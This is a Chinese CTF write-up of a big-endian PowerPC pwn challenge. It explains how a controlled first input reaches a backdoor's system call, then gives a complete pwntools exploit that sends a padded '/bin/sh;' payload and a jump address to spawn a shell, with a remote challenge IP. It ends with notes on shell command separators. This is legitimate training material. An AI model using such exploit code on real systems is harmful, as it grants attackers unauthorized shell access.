简单的复现一下前段时间的2023数字人才的那一道pwn题,在比赛的过程还是没有静下心来思考。复现的时候才发现原来这道题目不是很难。
查看一下保护咯,观察到和一般的pwn题附件不一样的格式,开了canary和NX(虽然没点影响体现),注意到是大端存储。
拖入ida查看一下程序(伪代码)基本过程,复现的过程才明白malloc函数是分配一段内存空间(堆上面的),因此v5里面指向的就是堆的地址咯。再看第二处和read函数结合起来就明白第二处是将我们所输入的数据复制到v5指向的地址(堆里面咯)。最后看到第三处,直接转到堆里面了。
通过观察正好发现有backdoor存在,看到箭头指向的可以发现如果我们让v2存放了需要的“/bin/sh”参数,在backdoor执行结束就获得权限了。
再看system的参数传递和第一次我们输入的过程(read函数),正好我们第一次输入的数据可以操控到system参数传递的r3寄存器。于是,题目就直接白给了,我们只需要通过第一次的输入将所需参数输入就可以打通了。
#coding=utf-8
from pwn import *
context(log_level='debug')
context.arch = "powerpc"
context.endian = "big"
binary='./main'
#main_arena =
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 1
if local == 1:
io=process(binary)
else:
io=remote('139.155.86.233',9999)
pay = b'/bin/sh;'#分号不能忘记
s(pay.ljust(0x28,b'a')+p32(0x100006f0))#直接到system地址就可以
shell()
在用linux命令时候, 我们经常需要同时执行多条命令, 那么命令之间该如何分割呢?
分号: 顺序地独立执行各条命令, 彼此之间不关心是否失败, 所有命令都会执行。 && : 顺序执行各条命令, 只有当前一个执行成功时候, 才执行后面的。 || : 顺序执行各条命令, 只有当前面一个执行失败的时候, 才执行后面的。